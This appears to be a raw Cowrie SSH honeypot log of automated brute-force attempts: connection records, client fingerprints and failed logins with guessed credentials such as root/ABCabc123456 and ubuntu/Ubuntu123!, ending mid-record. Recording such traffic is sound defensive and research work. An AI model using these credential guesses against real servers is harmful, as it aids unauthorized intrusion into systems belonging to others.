{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":52134,"dst_ip":"10.17.0.5","dst_port":22,"session":"98225ed63004","protocol":"ssh","message":"New connection: 45.153.34.195:52134 (10.17.0.5:22) [session: 98225ed63004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:47.363890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:47.367537Z","src_ip":"45.153.34.195","session":"98225ed63004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:47.457186Z","src_ip":"45.153.34.195","session":"98225ed63004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@ssw0rd","message":"login attempt [test/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:47.706300Z","src_ip":"45.153.34.195","session":"98225ed63004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:48.789979Z","src_ip":"45.153.34.195","session":"98225ed63004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":52140,"dst_ip":"10.17.0.5","dst_port":22,"session":"e23fef802703","protocol":"ssh","message":"New connection: 45.153.34.195:52140 (10.17.0.5:22) [session: e23fef802703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:50.288931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:50.293364Z","src_ip":"45.153.34.195","session":"e23fef802703","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:50.376774Z","src_ip":"45.153.34.195","session":"e23fef802703","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu123!","message":"login attempt [ubuntu/Ubuntu123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:50.622363Z","src_ip":"45.153.34.195","session":"e23fef802703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:51.705270Z","src_ip":"45.153.34.195","session":"e23fef802703","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":34004,"dst_ip":"10.17.0.5","dst_port":22,"session":"d17e092aa4dd","protocol":"ssh","message":"New connection: 45.153.34.195:34004 (10.17.0.5:22) [session: d17e092aa4dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:53.202909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:53.228211Z","src_ip":"45.153.34.195","session":"d17e092aa4dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:53.328866Z","src_ip":"45.153.34.195","session":"d17e092aa4dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:53.635948Z","src_ip":"45.153.34.195","session":"d17e092aa4dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:54.723249Z","src_ip":"45.153.34.195","session":"d17e092aa4dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":55744,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c3af10ec73b","protocol":"ssh","message":"New connection: 160.187.180.146:55744 (159.203.135.109:22) [session: 8c3af10ec73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:54.848867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:54.852916Z","src_ip":"160.187.180.146","session":"8c3af10ec73b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:55.059866Z","src_ip":"160.187.180.146","session":"8c3af10ec73b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"a","message":"login attempt [ansible/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:55.919588Z","src_ip":"160.187.180.146","session":"8c3af10ec73b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":34006,"dst_ip":"10.17.0.5","dst_port":22,"session":"9edf53e0beb0","protocol":"ssh","message":"New connection: 45.153.34.195:34006 (10.17.0.5:22) [session: 9edf53e0beb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:55.963060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:56.154814Z","src_ip":"45.153.34.195","session":"9edf53e0beb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:56.158154Z","src_ip":"45.153.34.195","session":"9edf53e0beb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xbot","password":"xbot","message":"login attempt [xbot/xbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:56.740205Z","src_ip":"45.153.34.195","session":"9edf53e0beb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:57.131024Z","src_ip":"160.187.180.146","session":"8c3af10ec73b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:57.957093Z","src_ip":"45.153.34.195","session":"9edf53e0beb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":42308,"dst_ip":"159.203.135.109","dst_port":22,"session":"c496264d0dc3","protocol":"ssh","message":"New connection: 201.17.146.173:42308 (159.203.135.109:22) [session: c496264d0dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:58.263083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:58.266883Z","src_ip":"201.17.146.173","session":"c496264d0dc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:58.450552Z","src_ip":"201.17.146.173","session":"c496264d0dc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":34012,"dst_ip":"10.17.0.5","dst_port":22,"session":"661ff8344d3d","protocol":"ssh","message":"New connection: 45.153.34.195:34012 (10.17.0.5:22) [session: 661ff8344d3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:58.904889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:58.916337Z","src_ip":"45.153.34.195","session":"661ff8344d3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:59.018265Z","src_ip":"45.153.34.195","session":"661ff8344d3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamza","password":"hamza","message":"login attempt [hamza/hamza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:59.398425Z","src_ip":"201.17.146.173","session":"c496264d0dc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"051178","message":"login attempt [admin/051178] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:59.405872Z","src_ip":"45.153.34.195","session":"661ff8344d3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:00.489930Z","src_ip":"45.153.34.195","session":"661ff8344d3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:00.560626Z","src_ip":"201.17.146.173","session":"c496264d0dc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":34016,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a423dda8a24","protocol":"ssh","message":"New connection: 45.153.34.195:34016 (10.17.0.5:22) [session: 4a423dda8a24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:01.902749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:01.907518Z","src_ip":"45.153.34.195","session":"4a423dda8a24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:01.990714Z","src_ip":"45.153.34.195","session":"4a423dda8a24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCabc123456","message":"login attempt [root/ABCabc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:02.241484Z","src_ip":"45.153.34.195","session":"4a423dda8a24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:03.325555Z","src_ip":"45.153.34.195","session":"4a423dda8a24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":45436,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8aa2da34a6a","protocol":"ssh","message":"New connection: 45.153.34.195:45436 (10.17.0.5:22) [session: b8aa2da34a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:04.905077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:04.912457Z","src_ip":"45.153.34.195","session":"b8aa2da34a6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@op